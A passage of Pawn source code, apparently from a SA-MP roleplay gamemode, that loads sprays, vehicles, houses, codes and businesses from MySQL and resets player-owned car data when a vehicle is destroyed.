{
/*
	print("\nLoading Sprays ...\n");
	mysql_function_query(handle,"SELECT * FROM `sprays`",true,"OnSpraysLoad","");
	return 1;
*/
}
forward OnSpraysLoad();
public OnSpraysLoad()
{
/*
for(new i = 0;i<cache_get_row_count(handle); i++)
{
spInfo[i][sID] = i;
cache_get_row(i,1,spInfo[i][sName],handle,128);
cache_get_row(i,2,spInfo[i][sTag],handle,128);
spInfo[i][sClan] = cache_get_row_int(i,3,handle);
spInfo[i][sX] = cache_get_row_float(i,4,handle);
spInfo[i][sY] = cache_get_row_float(i,5,handle);
spInfo[i][sZ] = cache_get_row_float(i,6,handle);
spInfo[i][sRot] = cache_get_row_float(i,7,handle);
spInfo[i][sObj] = cache_get_row_int(i,8,handle);
cache_get_row(i,9,spInfo[i][sColor],handle,128);
spInfo[i][tX] = cache_get_row_float(i,10,handle);
spInfo[i][tY] = cache_get_row_float(i,11,handle);
spInfo[i][ttX] = cache_get_row_float(i,12,handle);
spInfo[i][ttY] = cache_get_row_float(i,13,handle);
cache_get_row(i,14,spInfo[i][sTColor],handle,128);

Spray2[i] = CreateDynamicObject(spInfo[i][sObj], spInfo[i][sX], spInfo[i][sY], spInfo[i][sZ],   0.00000, 0.00000, spInfo[i][sRot]);
SetDynamicObjectMaterial(Spray2[i], 0, 0, "none", "none", HexToInt("0xRRGGBB00"));
new name[512];
format(name, sizeof(name), "{%s}%s \n%s",spInfo[i][sColor],spInfo[i][sName],spInfo[i][sTag])
SetDynamicObjectMaterialText(Spray2[i],0, name, OBJECT_MATERIAL_SIZE_512x256, "Arial", 50, 2, 0xFFFF8200, 0, OBJECT_MATERIAL_TEXT_ALIGN_CENTER);
Sprayst[i] = GangZoneCreate(spInfo[i][tX], spInfo[i][tY], spInfo[i][ttX], spInfo[i][ttY]);
Spraying[i] = 0;
}
print("\nAll Sprays Loaded.\n");
*/
printf("\n%s %s gamemode loaded.\n", SERVER_NAME1, SERVER_NAME2);
print("\nScripter: Sina.\n\n");

return 1;
}
public SaveSprays(sid)
{
new query[256];


mysql_format(handle, query,256,"UPDATE `sprays` SET sName='%e' WHERE `sID`='%d'",spInfo[sid][sName],sid);
mysql_function_query(handle,query,false,"SendQuery","");

mysql_format(handle, query,256,"UPDATE `sprays` SET sTag='%e' WHERE `sID`='%d'",spInfo[sid][sTag],sid);
mysql_function_query(handle,query,false,"SendQuery","");

mysql_format(handle, query,256,"UPDATE `sprays` SET sClan='%d' WHERE `sID`='%d'",spInfo[sid][sClan],sid);
mysql_function_query(handle,query,false,"SendQuery","");

mysql_format(handle, query,256,"UPDATE `sprays` SET sColor='%e' WHERE `sID`='%d'",spInfo[sid][sColor],sid);
mysql_function_query(handle,query,false,"SendQuery","");
return 1;
}
public LoadVehicles()
{
	mysql_query(handle, "ALTER TABLE `vehicles` ORDER BY `vID`", false);
	print("\nLoading Vehicles ...\n");
	mysql_function_query(handle,"SELECT * FROM `vehicles`",true,"OnVehiclesLoad","");
	return 1;
}
forward OnVehiclesLoad();
public OnVehiclesLoad()
{
mysql_query(handle, "ALTER TABLE `vehicles` ORDER BY `vID`", false);
for(new i = 0;i<cache_get_row_count(handle); i++)
{
		vInfo[i][vID] = i;
		vInfo[i][cLocationx] = cache_get_row_float(i,1,handle);
	   vInfo[i][cLocationy] = cache_get_row_float(i,2,handle);
	   vInfo[i][cLocationz] = cache_get_row_float(i,3,handle);
	   vInfo[i][cAngle] = cache_get_row_float(i,4,handle);
	   vInfo[i][cColor1] = cache_get_row_int(i,5,handle);
	   vInfo[i][cColor2] = cache_get_row_int(i,6,handle);
	   vInfo[i][cModel] = cache_get_row_int(i,7,handle);
	   vInfo[i][cPrice] = cache_get_row_int(i,8,handle);
		cache_get_row(i,9,vInfo[i][cPlate],handle,128);
	   vInfo[i][cLock] = cache_get_row_int(i,10,handle);
	   vInfo[i][cDestroyed] = cache_get_row_int(i,11,handle);
	   vInfo[i][cFuel] = cache_get_row_int(i,12,handle);
	   vInfo[i][cHealth] = cache_get_row_float(i,13,handle);
	   vInfo[i][cMod1] = cache_get_row_int(i,14,handle);
	   vInfo[i][cMod3] = cache_get_row_int(i,15,handle);
	   vInfo[i][cMod4] = cache_get_row_int(i,16,handle);
	   vInfo[i][cMod5] = cache_get_row_int(i,17,handle);
	   vInfo[i][cMod6] = cache_get_row_int(i,18,handle);
	   vInfo[i][cMod7] = cache_get_row_int(i,19,handle);
	   vInfo[i][cMod8] = cache_get_row_int(i,20,handle);
	   vInfo[i][cMod9] = cache_get_row_int(i,21,handle);
	   vInfo[i][cMod10] = cache_get_row_int(i,22,handle);
	   vInfo[i][cMod11] = cache_get_row_int(i,23,handle);
	   vInfo[i][cMod12] = cache_get_row_int(i,24,handle);
	   vInfo[i][cMod13] = cache_get_row_int(i,25,handle);
	   vInfo[i][cMod14] = cache_get_row_int(i,26,handle);
	   vInfo[i][cMod15] = cache_get_row_int(i,27,handle);
	   vInfo[i][cMod16] = cache_get_row_int(i,28,handle);
	   vInfo[i][cMod17] = cache_get_row_int(i,29,handle);
	   vInfo[i][cPaintJob] = cache_get_row_int(i,30,handle);
	   vInfo[i][cKilo] = cache_get_row_float(i,31,handle);
	   vInfo[i][cPanel] = cache_get_row_int(i,32,handle);
	   vInfo[i][cDoors] = cache_get_row_int(i,33,handle);
	   vInfo[i][cLights] = cache_get_row_int(i,34,handle);
	   vInfo[i][cTires] = cache_get_row_int(i,35,handle);
	   vInfo[i][cFixed] = cache_get_row_int(i,36,handle);
	   vInfo[i][cInsurance] = cache_get_row_int(i,37,handle);
	   vInfo[i][gLocationX] = cache_get_row_float(i, 38, handle);
	   vInfo[i][gLocationY] = cache_get_row_float(i, 39, handle);
	   vInfo[i][gLocationZ] = cache_get_row_float(i, 40, handle);
	   vInfo[i][gAngle] = cache_get_row_int(i, 41, handle);
	   vInfo[i][gParked] = cache_get_row_int(i, 42, handle);
	   vInfo[i][cNeon] = cache_get_row_int(i, 43, handle);
}
mysql_query(handle, "ALTER TABLE `vehicles` ORDER BY `vID`", false);
print("\nAll Vehicles Loaded.\n");
return 1;
}
// End Clan DB
public LoadHouses()
{
	print("\nLoading Houses ...\n");
	mysql_function_query(handle,"SELECT * FROM `houses`",true,"OnHouseLoad","");
	return 1;
}

forward OnHouseLoad();
public OnHouseLoad()
{
	for(new i = 0;i<cache_get_row_count(handle);i++)
	{
	   HouseInfo[i][hSQLID] = i;
	   HouseInfo[i][hEntrancex] = cache_get_row_float(i,1,handle);
	   HouseInfo[i][hEntrancey] = cache_get_row_float(i,2,handle);
		HouseInfo[i][hEntrancez] = cache_get_row_float(i,3,handle);
	   HouseInfo[i][hExitx] = cache_get_row_float(i,4,handle);
	   HouseInfo[i][hExity] = cache_get_row_float(i,5,handle);
	   HouseInfo[i][hExitz] = cache_get_row_float(i,6,handle);
	   cache_get_row(i,7,HouseInfo[i][hOwner],handle,MAX_PLAYER_NAME);
	   HouseInfo[i][hValue] = cache_get_row_int(i,8,handle);
	   HouseInfo[i][hHel] = cache_get_row_int(i,9,handle);
	   HouseInfo[i][hInt] = cache_get_row_int(i,10,handle);
	   HouseInfo[i][hLock] = cache_get_row_int(i,11,handle);
	   HouseInfo[i][hOwned] = cache_get_row_int(i,12,handle);
	   HouseInfo[i][hRent] = cache_get_row_int(i,13,handle);
	   HouseInfo[i][hRentabil] = cache_get_row_int(i,14,handle);
	   HouseInfo[i][hTakings] = cache_get_row_int(i,15,handle);
	   HouseInfo[i][hLevel] = cache_get_row_int(i,16,handle);
	   HouseInfo[i][hWorld] = cache_get_row_int(i,17,handle);
	   HouseInfo[i][hForosh] = cache_get_row_int(i,18,handle);
		HouseInfo[i][hFurs] = cache_get_row_int(i,20,handle);
	}
	for(new h = 0;h<sizeof(HouseInfo);h++)
	{
	   houser[h] = CreateDynamic3DTextLabel("Loading Info ...",COLOR_LIGHTGREENN,HouseInfo[h][hExitx],HouseInfo[h][hExity],HouseInfo[h][hExitz],10.0,.testlos=1);
	}
	print("\nAll Houses Loaded.\n");
	return 1;
}

public LoadCodes()
{
	print("\nLoading Codes ...\n");
	mysql_function_query(handle,"SELECT * FROM `codes`",true,"OnCodesLoad","");
	return 1;
}
forward OnCodesLoad();
public OnCodesLoad()
{
	for(new i = 0;i<cache_get_row_count(handle);i++)
	{
	   CodeInfo[codeID] = i;
	   CodeInfo[codeUsed] = cache_get_row_int(i,2,handle);
	   CodeInfo[codeGolds] = cache_get_row_int(i,5,handle);
	   CodeInfo[codeMoney] = cache_get_row_int(i,6,handle);
	   CodeInfo[codeLevel] = cache_get_row_int(i,7,handle);
	   CodeInfo[codeRespect] = cache_get_row_int(i,8,handle);
	}
	print("\nAll Codes Loaded.\n");
	return 1;
}

public LoadBizz()
{
	print("\nLoading Businesses ...\n");
	mysql_function_query(handle,"SELECT * FROM `bizzes`",true,"OnBizzLoad","");
	return 1;
}
forward OnBizzLoad();
public OnBizzLoad()
{
	for(new i = 0;i<cache_get_row_count(handle); i++)
	{
	   BizzInfo[i][bSQLid] = i;
	   BizzInfo[i][bOwned] = cache_get_row_int(i,1,handle);
	   cache_get_row(i,2,BizzInfo[i][bOwner],handle,64);
	   cache_get_row(i,3,BizzInfo[i][bMessage],handle,128);
	   BizzInfo[i][bEntranceX] = cache_get_row_float(i,4,handle);
	   BizzInfo[i][bEntranceY] = cache_get_row_float(i,5,handle);
	   BizzInfo[i][bEntranceZ] = cache_get_row_float(i,6,handle);
	   BizzInfo[i][bExitX] = cache_get_row_float(i,7,handle);
	   BizzInfo[i][bExitY] = cache_get_row_float(i,8,handle);
	   BizzInfo[i][bExitZ] = cache_get_row_float(i,9,handle);
	   BizzInfo[i][bLevelNeeded] = cache_get_row_int(i,10,handle);
	   BizzInfo[i][bBuyPrice] = cache_get_row_int(i,11,handle);
	   BizzInfo[i][bEntranceCost] = cache_get_row_int(i,12,handle);
	   BizzInfo[i][bTill] = cache_get_row_int(i,13,handle);
	   BizzInfo[i][bLocked] = cache_get_row_int(i,14,handle);
	   BizzInfo[i][bInterior] = cache_get_row_int(i,15,handle);
	   BizzInfo[i][bProducts] = cache_get_row_int(i,16,handle);
	   BizzInfo[i][bMaxProducts] = cache_get_row_int(i,17,handle);
	   BizzInfo[i][bPriceProd] = cache_get_row_int(i,18,handle);
	   BizzInfo[i][bVW] = cache_get_row_int(i,19,handle);
	   BizzInfo[i][bForosh] = cache_get_row_int(i,20,handle);
	}
	for(new h = 0; h < sizeof(BizzInfo); h++)
	{
	   if(BizzInfo[h][bOwned] == 0)
	   {
		  CreatePickup(1239, 1, BizzInfo[h][bEntranceX], BizzInfo[h][bEntranceY], BizzInfo[h][bEntranceZ],0);
		  pickups++;
	   }
	   if(BizzInfo[h][bOwned] == 1)
	   {
		  CreatePickup(1239, 1, BizzInfo[h][bEntranceX], BizzInfo[h][bEntranceY], BizzInfo[h][bEntranceZ],0);
		  pickups++;
	   }
	   bizer[h] = CreateDynamic3DTextLabel("Loading Bizes ...",COLOR_BIZ,BizzInfo[h][bEntranceX], BizzInfo[h][bEntranceY], BizzInfo[h][bEntranceZ],10.0,.testlos=1);
	}
	CreatePickup(1239, 1 ,757.5751,5.6157,1000.7015,BizzInfo[7][bVW]);//gym fightstyle
	CreatePickup(1239, 1, 323.507873,1117.880981,1083.882812,BizzInfo[28][bVW]);//getjob drugs dealer
	CreatePickup(1239, 1, 822.011718,-0.335233,1004.179687,BizzInfo[81][bVW]);//mci
	CreatePickup(1239, 1, 822.009704,6.295105,1004.179687,BizzInfo[81][bVW]);//mtn
	//CreatePickup(1239, 1, -787.565551,500.073822,1371.742187,BizzInfo[2][bVW]);//eat place resturant LS
	print("\nAll Businesses Loaded.\n");
	return 1;
}

public LoadSBizz()
{
	print("\nLoading Special Businesses ...\n");
	mysql_function_query(handle,"SELECT * FROM `specialbizzes`",true,"OnSbizzLoad","");
	return 1;
}
forward OnSbizzLoad();
public OnSbizzLoad()
{
	for(new i = 0;i<cache_get_row_count(handle); i++)
	{
	   SBizzInfo[i][sbSQLid] = i;
	   SBizzInfo[i][sbOwned] = cache_get_row_int(i,1,handle);
	   cache_get_row(i,2,SBizzInfo[i][sbOwner],handle,64);
	   cache_get_row(i,3,SBizzInfo[i][sbMessage],handle,128);
	   SBizzInfo[i][sbEntranceX] = cache_get_row_float(i,4,handle);
	   SBizzInfo[i][sbEntranceY] = cache_get_row_float(i,5,handle);
	   SBizzInfo[i][sbEntranceZ] = cache_get_row_float(i,6,handle);
	   SBizzInfo[i][sbLevelNeeded] = cache_get_row_int(i,7,handle);
	   SBizzInfo[i][sbBuyPrice] = cache_get_row_int(i,8,handle);
	   SBizzInfo[i][sbEntranceCost] = cache_get_row_int(i,9,handle);
	   SBizzInfo[i][sbTill] = cache_get_row_int(i,10,handle);
	   SBizzInfo[i][sbProducts] = cache_get_row_int(i,11,handle);
	   SBizzInfo[i][sbMaxProducts] = cache_get_row_int(i,12,handle);
	   SBizzInfo[i][sbPriceProd] = cache_get_row_int(i,13,handle);
	   SBizzInfo[i][sbForosh] = cache_get_row_int(i,14,handle);
	}
	for(new h = 0; h < sizeof(SBizzInfo); h++)
	{
	   if(SBizzInfo[h][sbOwned] == 0)
	   {
		  CreatePickup(1239, 1, SBizzInfo[h][sbEntranceX], SBizzInfo[h][sbEntranceY], SBizzInfo[h][sbEntranceZ],0);
		  pickups++;
	   }
	   if(SBizzInfo[h][sbOwned] == 1)
	   {
		  CreatePickup(1239, 1, SBizzInfo[h][sbEntranceX], SBizzInfo[h][sbEntranceY], SBizzInfo[h][sbEntranceZ],0);
		  pickups++;
	   }
	   sbizer[h] = CreateDynamic3DTextLabel("Loading Sbizzes ...",COLOR_BIZ,SBizzInfo[h][sbEntranceX], SBizzInfo[h][sbEntranceY], SBizzInfo[h][sbEntranceZ],10.0,.testlos=1);
	}
	print("\nAll Special Businesses Loaded.\n");
	return 1;
}
public OnVehicleDeath(vehicleid,killerid)
{
if(IsValidObject(ShipObject[vehicleid]))
{
DestroyVehicle(vehicleid);
DestroyObject(ShipObject[vehicleid]);
ShipObject[vehicleid] = INVALID_OBJECT_ID;
UFOSavar[UFOOwnerID[vehicleid]]=0;
UFOOwnerID[vehicleid]=9999;
}
OilInCar[vehicleid] = 0;
VehicleTurbo[vehicleid] = 0;
vJump[vehicleid] = 0;
if(VehLinkDare[vehicleid] == 1)
{
VehLinkDare[vehicleid] = 0;
VehLink[vehicleid][0] = '\0';
}
   if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_1])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh1];
	   vInfo[r][cDestroyed] ++;
	   SaveKonValV(r, "cDestroyed", vInfo[r][cDestroyed]);
	   vInfo[r][cFuel] = 100;
	   SaveKonValV(r, "cFuel", 100);
	   vInfo[r][cHealth] = 1000.0;
	   SaveKonFloatV(r, "cHealth", 1000);
	   vInfo[r][cMod1] = 0;
	   SaveKonValV(r, "cMod1", 0);
	   vInfo[r][cMod3] = 0;
	   SaveKonValV(r, "cMod3", 0);
	   vInfo[r][cMod4] = 0;
	   SaveKonValV(r, "cMod4", 0);
	   vInfo[r][cMod5] = 0;
	   SaveKonValV(r, "cMod5", 0);
	   vInfo[r][cMod6] = 0;
	   SaveKonValV(r, "cMod6", 0);
	   vInfo[r][cMod7] = 0;
	   SaveKonValV(r, "cMod7", 0);
	   vInfo[r][cMod8] = 0;
	   SaveKonValV(r, "cMod8", 0);
	   vInfo[r][cMod9] = 0;
	   SaveKonValV(r, "cMod9", 0);
	   vInfo[r][cMod10] = 0;
	   SaveKonValV(r, "cMod10", 0);
	   vInfo[r][cMod11] = 0;
	   SaveKonValV(r, "cMod11", 0);
	   vInfo[r][cMod12] = 0;
	   SaveKonValV(r, "cMod12", 0);
	   vInfo[r][cMod13] = 0;
	   SaveKonValV(r, "cMod13", 0);
	   vInfo[r][cMod14] = 0;
	   SaveKonValV(r, "cMod14", 0);
	   vInfo[r][cMod15] = 0;
	   SaveKonValV(r, "cMod15", 0);
	   vInfo[r][cMod16] = 0;
	   SaveKonValV(r, "cMod16", 0);
	   vInfo[r][cMod17] = 0;
	   SaveKonValV(r, "cMod17", 0);
	   vInfo[r][cPaintJob] = 3;
	   SaveKonValV(r, "cPaintJob", 3);
	   vInfo[r][cPanel] = 0;
	   SaveKonValV(r, "cPanel", 0);
	   vInfo[r][cDoors] = 0;
	   SaveKonValV(r, "cDoors", 0);
	   vInfo[r][cTires] = 0;
	   SaveKonValV(r, "cTires", 0);
	   vInfo[r][cLights] = 0;
	   SaveKonValV(r, "cLights", 0);
	   if(vInfo[r][cNeon] != 0)
	   {
	   VehicleNeon[vehicleid] = 0;
	   for(new i = 0; i < 24; i++)
	   {
		DestroyObject(CarNeons[vehicleid][i]);
	   }
	   }
	   if(vInfo[r][cInsurance] <= 0)
	   {
		  vInfo[r][cFixed] = 0;
		  SaveKonValV(r, "cFixed", 0);
	   }
	   else
	   {
		 if(VehicleHasDriver(vehicleid) || ShouldTakeIt[vehicleid] == 1)
		 {
		  vInfo[r][cInsurance] --;
		  SaveKonValV(r, "cInsurance", vInfo[r][cInsurance]);
	     }
	   }
	}
	if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_2])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh2];
	   vInfo[r][cDestroyed] ++;
	   SaveKonValV(r, "cDestroyed", vInfo[r][cDestroyed]);
	   vInfo[r][cFuel] = 100;
	   SaveKonValV(r, "cFuel", 100);
	   vInfo[r][cHealth] = 1000.0;
	   SaveKonFloatV(r, "cHealth", 1000);
	   vInfo[r][cMod1] = 0;
	   SaveKonValV(r, "cMod1", 0);
	   vInfo[r][cMod3] = 0;
	   SaveKonValV(r, "cMod3", 0);
	   vInfo[r][cMod4] = 0;
	   SaveKonValV(r, "cMod4", 0);
	   vInfo[r][cMod5] = 0;
	   SaveKonValV(r, "cMod5", 0);
	   vInfo[r][cMod6] = 0;
	   SaveKonValV(r, "cMod6", 0);
	   vInfo[r][cMod7] = 0;
	   SaveKonValV(r, "cMod7", 0);
	   vInfo[r][cMod8] = 0;
	   SaveKonValV(r, "cMod8", 0);
	   vInfo[r][cMod9] = 0;
	   SaveKonValV(r, "cMod9", 0);
	   vInfo[r][cMod10] = 0;
	   SaveKonValV(r, "cMod10", 0);
	   vInfo[r][cMod11] = 0;
	   SaveKonValV(r, "cMod11", 0);
	   vInfo[r][cMod12] = 0;
	   SaveKonValV(r, "cMod12", 0);
	   vInfo[r][cMod13] = 0;
	   SaveKonValV(r, "cMod13", 0);
	   vInfo[r][cMod14] = 0;
	   SaveKonValV(r, "cMod14", 0);
	   vInfo[r][cMod15] = 0;
	   SaveKonValV(r, "cMod15", 0);
	   vInfo[r][cMod16] = 0;
	   SaveKonValV(r, "cMod16", 0);
	   vInfo[r][cMod17] = 0;
	   SaveKonValV(r, "cMod17", 0);
	   vInfo[r][cPaintJob] = 3;
	   SaveKonValV(r, "cPaintJob", 3);
	   vInfo[r][cPanel] = 0;
	   SaveKonValV(r, "cPanel", 0);
	   vInfo[r][cDoors] = 0;
	   SaveKonValV(r, "cDoors", 0);
	   vInfo[r][cTires] = 0;
	   SaveKonValV(r, "cTires", 0);
	   vInfo[r][cLights] = 0;
	   SaveKonValV(r, "cLights", 0);
	   if(vInfo[r][cNeon] != 0)
	   {
	   VehicleNeon[vehicleid] = 0;
	   for(new i = 0; i < 24; i++)
	   {
		DestroyObject(CarNeons[vehicleid][i]);
	   }
	   }
	   if(vInfo[r][cInsurance] <= 0)
	   {
		  vInfo[r][cFixed] = 0;
		  SaveKonValV(r, "cFixed", 0);
	   }
	   else
	   {
		 if(VehicleHasDriver(vehicleid) || ShouldTakeIt[vehicleid] == 1)
		 {
		  vInfo[r][cInsurance] --;
		  SaveKonValV(r, "cInsurance", vInfo[r][cInsurance]);
		 }
	   }
	}
	if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_3])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh3];
	   vInfo[r][cDestroyed] ++;
	   SaveKonValV(r, "cDestroyed", vInfo[r][cDestroyed]);
	   vInfo[r][cFuel] = 100;
	   SaveKonValV(r, "cFuel", 100);
	   vInfo[r][cHealth] = 1000.0;
	   SaveKonFloatV(r, "cHealth", 1000);
	   vInfo[r][cMod1] = 0;
	   SaveKonValV(r, "cMod1", 0);
	   vInfo[r][cMod3] = 0;
	   SaveKonValV(r, "cMod3", 0);
	   vInfo[r][cMod4] = 0;
	   SaveKonValV(r, "cMod4", 0);
	   vInfo[r][cMod5] = 0;
	   SaveKonValV(r, "cMod5", 0);
	   vInfo[r][cMod6] = 0;
	   SaveKonValV(r, "cMod6", 0);
	   vInfo[r][cMod7] = 0;
	   SaveKonValV(r, "cMod7", 0);
	   vInfo[r][cMod8] = 0;
	   SaveKonValV(r, "cMod8", 0);
	   vInfo[r][cMod9] = 0;
	   SaveKonValV(r, "cMod9", 0);
	   vInfo[r][cMod10] = 0;
	   SaveKonValV(r, "cMod10", 0);
	   vInfo[r][cMod11] = 0;
	   SaveKonValV(r, "cMod11", 0);
	   vInfo[r][cMod12] = 0;
	   SaveKonValV(r, "cMod12", 0);
	   vInfo[r][cMod13] = 0;
	   SaveKonValV(r, "cMod13", 0);
	   vInfo[r][cMod14] = 0;
	   SaveKonValV(r, "cMod14", 0);
	   vInfo[r][cMod15] = 0;
	   SaveKonValV(r, "cMod15", 0);
	   vInfo[r][cMod16] = 0;
	   SaveKonValV(r, "cMod16", 0);
	   vInfo[r][cMod17] = 0;
	   SaveKonValV(r, "cMod17", 0);
	   vInfo[r][cPaintJob] = 3;
	   SaveKonValV(r, "cPaintJob", 3);
	   vInfo[r][cPanel] = 0;
	   SaveKonValV(r, "cPanel", 0);
	   vInfo[r][cDoors] = 0;
	   SaveKonValV(r, "cDoors", 0);
	   vInfo[r][cTires] = 0;
	   SaveKonValV(r, "cTires", 0);
	   vInfo[r][cLights] = 0;
	   SaveKonValV(r, "cLights", 0);
	   if(vInfo[r][cNeon] != 0)
	   {
	   VehicleNeon[vehicleid] = 0;
	   for(new i = 0; i < 24; i++)
	   {
		DestroyObject(CarNeons[vehicleid][i]);
	   }
	   }
	   if(vInfo[r][cInsurance] <= 0)
	   {
		  vInfo[r][cFixed] = 0;
		  SaveKonValV(r, "cFixed", 0);
	   }
	   else
	   {
		 if(VehicleHasDriver(vehicleid) || ShouldTakeIt[vehicleid] == 1)
		 {
		  vInfo[r][cInsurance] --;
		  SaveKonValV(r, "cInsurance", vInfo[r][cInsurance]);
		 }
	   }
	}
	if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_4])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh4];
	   vInfo[r][cDestroyed] ++;
	   SaveKonValV(r, "cDestroyed", vInfo[r][cDestroyed]);
	   vInfo[r][cFuel] = 100;
	   SaveKonValV(r, "cFuel", 100);
	   vInfo[r][cHealth] = 1000.0;
	   SaveKonFloatV(r, "cHealth", 1000);
	   vInfo[r][cMod1] = 0;
	   SaveKonValV(r, "cMod1", 0);
	   vInfo[r][cMod3] = 0;
	   SaveKonValV(r, "cMod3", 0);
	   vInfo[r][cMod4] = 0;
	   SaveKonValV(r, "cMod4", 0);
	   vInfo[r][cMod5] = 0;
	   SaveKonValV(r, "cMod5", 0);
	   vInfo[r][cMod6] = 0;
	   SaveKonValV(r, "cMod6", 0);
	   vInfo[r][cMod7] = 0;
	   SaveKonValV(r, "cMod7", 0);
	   vInfo[r][cMod8] = 0;
	   SaveKonValV(r, "cMod8", 0);
	   vInfo[r][cMod9] = 0;
	   SaveKonValV(r, "cMod9", 0);
	   vInfo[r][cMod10] = 0;
	   SaveKonValV(r, "cMod10", 0);
	   vInfo[r][cMod11] = 0;
	   SaveKonValV(r, "cMod11", 0);
	   vInfo[r][cMod12] = 0;
	   SaveKonValV(r, "cMod12", 0);
	   vInfo[r][cMod13] = 0;
	   SaveKonValV(r, "cMod13", 0);
	   vInfo[r][cMod14] = 0;
	   SaveKonValV(r, "cMod14", 0);
	   vInfo[r][cMod15] = 0;
	   SaveKonValV(r, "cMod15", 0);
	   vInfo[r][cMod16] = 0;
	   SaveKonValV(r, "cMod16", 0);
	   vInfo[r][cMod17] = 0;
	   SaveKonValV(r, "cMod17", 0);
	   vInfo[r][cPaintJob] = 3;
	   SaveKonValV(r, "cPaintJob", 3);
	   vInfo[r][cPanel] = 0;
	   SaveKonValV(r, "cPanel", 0);
	   vInfo[r][cDoors] = 0;
	   SaveKonValV(r, "cDoors", 0);
	   vInfo[r][cTires] = 0;
	   SaveKonValV(r, "cTires", 0);
	   vInfo[r][cLights] = 0;
	   SaveKonValV(r, "cLights", 0);
	   if(vInfo[r][cNeon] != 0)
	   {
	   VehicleNeon[vehicleid] = 0;
	   for(new i = 0; i < 24; i++)
	   {
		DestroyObject(CarNeons[vehicleid][i]);
	   }
	   }
	   if(vInfo[r][cInsurance] <= 0)
	   {
		  vInfo[r][cFixed] = 0;
		  SaveKonValV(r, "cFixed", 0);
	   }
	   else
	   {
		 if(VehicleHasDriver(vehicleid) || ShouldTakeIt[vehicleid] == 1)
		 {
		  vInfo[r][cInsurance] --;
		  SaveKonValV(r, "cInsurance", vInfo[r][cInsurance]);
		 }
	   }
	}
	if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_5])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh5];
	   vInfo[r][cDestroyed] ++;
	   SaveKonValV(r, "cDestroyed", vInfo[r][cDestroyed]);
	   vInfo[r][cFuel] = 100;
	   SaveKonValV(r, "cFuel", 100);
	   vInfo[r][cHealth] = 1000.0;
	   SaveKonFloatV(r, "cHealth", 1000);
	   vInfo[r][cMod1] = 0;
	   SaveKonValV(r, "cMod1", 0);
	   vInfo[r][cMod3] = 0;
	   SaveKonValV(r, "cMod3", 0);
	   vInfo[r][cMod4] = 0;
	   SaveKonValV(r, "cMod4", 0);
	   vInfo[r][cMod5] = 0;
	   SaveKonValV(r, "cMod5", 0);
	   vInfo[r][cMod6] = 0;
	   SaveKonValV(r, "cMod6", 0);
	   vInfo[r][cMod7] = 0;
	   SaveKonValV(r, "cMod7", 0);
	   vInfo[r][cMod8] = 0;
	   SaveKonValV(r, "cMod8", 0);
	   vInfo[r][cMod9] = 0;
	   SaveKonValV(r, "cMod9", 0);
	   vInfo[r][cMod10] = 0;
	   SaveKonValV(r, "cMod10", 0);
	   vInfo[r][cMod11] = 0;
	   SaveKonValV(r, "cMod11", 0);
	   vInfo[r][cMod12] = 0;
	   SaveKonValV(r, "cMod12", 0);
	   vInfo[r][cMod13] = 0;
	   SaveKonValV(r, "cMod13", 0);
	   vInfo[r][cMod14] = 0;
	   SaveKonValV(r, "cMod14", 0);
	   vInfo[r][cMod15] = 0;
	   SaveKonValV(r, "cMod15", 0);
	   vInfo[r][cMod16] = 0;
	   SaveKonValV(r, "cMod16", 0);
	   vInfo[r][cMod17] = 0;
	   SaveKonValV(r, "cMod17", 0);
	   vInfo[r][cPaintJob] = 3;
	   SaveKonValV(r, "cPaintJob", 3);
	   vInfo[r][cPanel] = 0;
	   SaveKonValV(r, "cPanel", 0);
	   vInfo[r][cDoors] = 0;
	   SaveKonValV(r, "cDoors", 0);
	   vInfo[r][cTires] = 0;
	   SaveKonValV(r, "cTires", 0);
	   vInfo[r][cLights] = 0;
	   SaveKonValV(r, "cLights", 0);
	   if(vInfo[r][cNeon] != 0)
	   {
	   VehicleNeon[vehicleid] = 0;
	   for(new i = 0; i < 24; i++)
	   {
		DestroyObject(CarNeons[vehicleid][i]);
	   }
	   }
	   if(vInfo[r][cInsurance] <= 0)
	   {
		  vInfo[r][cFixed] = 0;
		  SaveKonValV(r, "cFixed", 0);
	   }
	   else
	   {
		 if(VehicleHasDriver(vehicleid) || ShouldTakeIt[vehicleid] == 1)
		 {
		  vInfo[r][cInsurance] --;
		  SaveKonValV(r, "cInsurance", vInfo[r][cInsurance]);
		 }
	   }
	}
	if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_6])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh6];
	   vInfo[r][cDestroyed] ++;
	   SaveKonValV(r, "cDestroyed", vInfo[r][cDestroyed]);
	   vInfo[r][cFuel] = 100;
	   SaveKonValV(r, "cFuel", 100);
	   vInfo[r][cHealth] = 1000.0;
	   SaveKonFloatV(r, "cHealth", 1000);
	   vInfo[r][cMod1] = 0;
	   SaveKonValV(r, "cMod1", 0);
	   vInfo[r][cMod3] = 0;
	   SaveKonValV(r, "cMod3", 0);
	   vInfo[r][cMod4] = 0;
	   SaveKonValV(r, "cMod4", 0);
	   vInfo[r][cMod5] = 0;
	   SaveKonValV(r, "cMod5", 0);
	   vInfo[r][cMod6] = 0;
	   SaveKonValV(r, "cMod6", 0);
	   vInfo[r][cMod7] = 0;
	   SaveKonValV(r, "cMod7", 0);
	   vInfo[r][cMod8] = 0;
	   SaveKonValV(r, "cMod8", 0);
	   vInfo[r][cMod9] = 0;
	   SaveKonValV(r, "cMod9", 0);
	   vInfo[r][cMod10] = 0;
	   SaveKonValV(r, "cMod10", 0);
	   vInfo[r][cMod11] = 0;
	   SaveKonValV(r, "cMod11", 0);
	   vInfo[r][cMod12] = 0;
	   SaveKonValV(r, "cMod12", 0);
	   vInfo[r][cMod13] = 0;
	   SaveKonValV(r, "cMod13", 0);
	   vInfo[r][cMod14] = 0;
	   SaveKonValV(r, "cMod14", 0);
	   vInfo[r][cMod15] = 0;
